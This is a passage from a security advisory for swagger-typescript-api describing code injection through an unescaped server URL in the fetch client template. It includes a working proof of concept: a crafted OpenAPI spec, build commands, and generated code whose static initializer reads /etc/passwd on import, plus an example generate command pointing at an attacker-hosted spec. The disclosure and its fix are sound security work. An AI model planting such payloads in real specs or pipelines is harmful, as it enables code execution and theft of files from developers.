{} })(); public x: string = \\\"\"\n }\n ],\n \"paths\": {\n \"/ping\": {\n \"get\": {\n \"operationId\": \"ping\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body \u2014 payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"https://api.example.com\";\n static _pwn = (async () =\u003e {\n try {\n const fs = await import(\"node:fs\");\n const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n fs.writeFileSync(\"/tmp/sta_canary\", data);\n } catch (e) {}\n })();\n public x: string = \"\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import(\u0027./out/Api.bundle.mjs\u0027)` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** \u2014 the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-hqj5-cw9f-rx67",
"modified": "2026-07-29T14:26:38Z",
"published": "2026-07-29T14:26:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.